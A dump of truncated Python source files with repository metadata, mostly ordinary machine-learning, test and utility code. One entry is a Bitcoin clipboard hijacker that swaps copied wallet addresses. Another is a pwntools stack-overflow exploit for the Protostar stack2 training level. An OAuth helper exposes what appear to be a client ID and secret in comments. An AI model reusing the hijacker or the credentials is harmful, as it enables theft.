] | 6 | 2016-07-19T09:27:47.000Z | 2021-07-08T21:22:32.000Z | convolutional_attention/token_naming_data.py | s1530129650/convolutional-attention | 8839da8146962879bb419a61253e7cf1b684fb22 | [
"BSD-3-Clause"
] | 36 | 2016-05-11T08:57:26.000Z | 2021-07-07T02:37:07.000Z | from collections import defaultdict
import heapq
from itertools import chain, repeat
from feature_dict import FeatureDictionary
import json
import numpy as np
import scipy.sparse as sp
class TokenCodeNamingData:
SUBTOKEN_START = "%START%"
SUBTOKEN_END = "%END%"
NONE = "%NONE%"
@staticmethod
def _... | 51.953744 | 143 | 0.644338 | 23,399 | 0.99203 | 0 | 0 | 7,055 | 0.299105 | 0 | 0 | 1,684 | 0.071395 |
a82c44a1683f511d5f99fbda3a6f12bd84f86c4c | 550 | py | Python | test_word.py | AsherSeiling/Ap-hug-Vocab-database | fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a | [
"MIT"
] | null | null | null | test_word.py | AsherSeiling/Ap-hug-Vocab-database | fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a | [
"MIT"
] | 1 | 2021-02-27T06:12:07.000Z | 2021-03-01T14:32:39.000Z | test_word.py | AsherSeiling/Ap-hug-Vocab-database | fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a | [
"MIT"
] | 1 | 2021-02-27T06:14:55.000Z | 2021-02-27T06:14:55.000Z | words = open("words.txt", "r")
words = [x.rstrip("\n") for x in words.readlines()]
refwords = open("referencewords.txt", "r")
refwords = [x.strip("\n") for x in refwords.readlines()]
def find_word(word):
retunrval = False
if word.lower() in words:
retunrval = True
return retunrval
words_needed = []
def main():
... | 20.37037 | 56 | 0.650909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 50 | 0.090909 |
a82e508670c379c3dbb7d2f2e849d1ec9ed6d7a8 | 2,736 | py | Python | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | null | null | null | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | 9 | 2021-07-18T17:16:42.000Z | 2022-03-31T00:19:14.000Z | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | null | null | null | # pylint: disable=too-few-public-methods,no-self-use
from django.utils.crypto import get_random_string
from django.utils.translation import gettext_lazy as _
from democrasite.users.forms import (
DisabledChangePasswordForm,
DisabledResetPasswordForm,
DisabledResetPasswordKeyForm,
DisabledSetPasswordFor... | 32.571429 | 87 | 0.623904 | 2,341 | 0.855629 | 0 | 0 | 0 | 0 | 0 | 0 | 798 | 0.291667 |
a82ef552d3bf70dc77e897c13a1b0f9b584ffa9d | 3,359 | py | Python | src/keras_networks.py | RU-IIPL/2DLD_keras | 8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf | [
"MIT"
] | 1 | 2021-05-24T08:00:29.000Z | 2021-05-24T08:00:29.000Z | src/keras_networks.py | RU-IIPL/2DLD_keras | 8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf | [
"MIT"
] | null | null | null | src/keras_networks.py | RU-IIPL/2DLD_keras | 8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf | [
"MIT"
] | 1 | 2021-09-29T03:43:46.000Z | 2021-09-29T03:43:46.000Z | # -*- coding: utf-8 -*-
"""
@author: Terada
"""
from keras.models import Sequential, Model
from keras.layers import Dense, MaxPooling2D, Flatten, Dropout
from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D
from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activat... | 42.518987 | 122 | 0.677583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 330 | 0.098244 |
a82fdc3cbf4660f5463187cd042910a00705a302 | 9,951 | py | Python | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 19 | 2015-01-13T23:36:23.000Z | 2021-05-29T16:05:05.000Z | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 1 | 2015-11-09T17:23:05.000Z | 2015-11-09T18:48:26.000Z | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 3 | 2016-03-26T15:57:36.000Z | 2018-11-30T07:04:03.000Z | from contextlib import closing, contextmanager
import StringIO as s
import unittest as t
from lambdak import *
# A helper class to test attribute access.
class A: pass
# Helper functions for the tests.
def inc(x): return x + 1
def double(x): return x * 2
class test_lambdak(t.TestCase):
def test_init_k_x(self):
... | 25.320611 | 162 | 0.633203 | 9,639 | 0.968646 | 206 | 0.020701 | 0 | 0 | 0 | 0 | 1,375 | 0.138177 |
a830be9674eca4b0486b3f40d92cbb270322784c | 2,327 | py | Python | Bitcoin_Malware.py | Ismael-Safadi/Bitcoin-Wallet-address-spoofer | 16b92d5538d10a2b14ee1fed441a25bdb33a2e67 | [
"MIT"
] | 7 | 2019-03-04T14:28:53.000Z | 2022-01-31T12:11:53.000Z | Bitcoin_Malware.py | Ismael-Safadi/Bitcoin-Wallet-address-spoofer | 16b92d5538d10a2b14ee1fed441a25bdb33a2e67 | [
"MIT"
] | null | null | null | Bitcoin_Malware.py | Ismael-Safadi/Bitcoin-Wallet-address-spoofer | 16b92d5538d10a2b14ee1fed441a25bdb33a2e67 | [
"MIT"
] | 4 | 2019-03-04T14:29:01.000Z | 2022-01-31T12:11:40.000Z | # Coded By : Ismael Al-safadi
from win32gui import GetWindowText, GetForegroundWindow
from pyperclip import copy
from re import findall
from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard
from time import sleep
class BitcoinDroper:
"""
class for spoofing Bitcoin Wallet address... | 31.026667 | 96 | 0.628277 | 1,733 | 0.744736 | 0 | 0 | 0 | 0 | 0 | 0 | 741 | 0.318436 |
a832641c2261a8791df173a07f00c6ea847b04f1 | 504 | py | Python | Exploits/Protostar/stack/stack2.py | SkyBulk/OSCE | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | 80 | 2018-07-12T04:58:02.000Z | 2022-03-18T11:31:49.000Z | Exploits/Protostar/stack/stack2.py | SunWare-shellcoder/OSCE-1 | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | null | null | null | Exploits/Protostar/stack/stack2.py | SunWare-shellcoder/OSCE-1 | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | 43 | 2018-07-12T19:48:15.000Z | 2021-11-01T13:16:25.000Z | #!/usr/bin/env python
# $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $
from pwn import *
level = 2
host = "10.168.142.133"
user = "user"
chal = "stack%i" % level
password = "user"
binary = "/opt/protostar/bin/%s" % chal
shell = ssh(host=host, user=user, password=password)
padding = "A" * 64
addr = p32(0x0d0a0... | 20.16 | 55 | 0.656746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 204 | 0.404762 |
a8347276bdea4347d1187329f50e22db158c90b3 | 5,096 | py | Python | Stock_Programs/myOauth.py | timwroge/DeepPurple | 3d6f3203938853ede654ef4f88b7451a1ba3999e | [
"Apache-2.0"
] | 4 | 2020-02-13T18:57:41.000Z | 2020-08-03T21:08:26.000Z | Stock_Programs/myOauth.py | timwroge/DeepPurple | 3d6f3203938853ede654ef4f88b7451a1ba3999e | [
"Apache-2.0"
] | null | null | null | Stock_Programs/myOauth.py | timwroge/DeepPurple | 3d6f3203938853ede654ef4f88b7451a1ba3999e | [
"Apache-2.0"
] | 1 | 2021-06-14T13:42:39.000Z | 2021-06-14T13:42:39.000Z | import urllib.parse, urllib.request,json
import time
import hmac, hashlib,random,base64
#yahoo stuff
#client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ--
#client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f
def setConsumerCreds(cons_key,cons_s... | 41.770492 | 116 | 0.724882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 708 | 0.138932 |
a8347a798c6edcafbe98def909244e3a366c1264 | 5,246 | py | Python | IOController/src/UpdateManager.py | MicrosoftDX/liquidintel | 8c3f840f88ca3515cc812078a620e2a845978177 | [
"MIT"
] | 9 | 2017-05-27T20:42:46.000Z | 2020-11-12T21:03:28.000Z | IOController/src/UpdateManager.py | MicrosoftDX/liquidintel | 8c3f840f88ca3515cc812078a620e2a845978177 | [
"MIT"
] | 30 | 2017-02-16T19:43:18.000Z | 2018-01-17T21:17:01.000Z | IOController/src/UpdateManager.py | MicrosoftDX/liquidintel | 8c3f840f88ca3515cc812078a620e2a845978177 | [
"MIT"
] | 6 | 2017-02-24T03:40:04.000Z | 2020-11-22T20:29:11.000Z |
import os, sys, logging, threading, tempfile, shutil, tarfile, inspect
from ConfigParser import RawConfigParser
import requests
from DXLiquidIntelApi import DXLiquidIntelApi
log = logging.getLogger(__name__)
class UpdateManager:
def __init__(self, liquidApi, packageType, checkUnpublished, packageCheckInterval, c... | 51.940594 | 191 | 0.62276 | 5,025 | 0.957873 | 0 | 0 | 154 | 0.029356 | 0 | 0 | 1,372 | 0.261533 |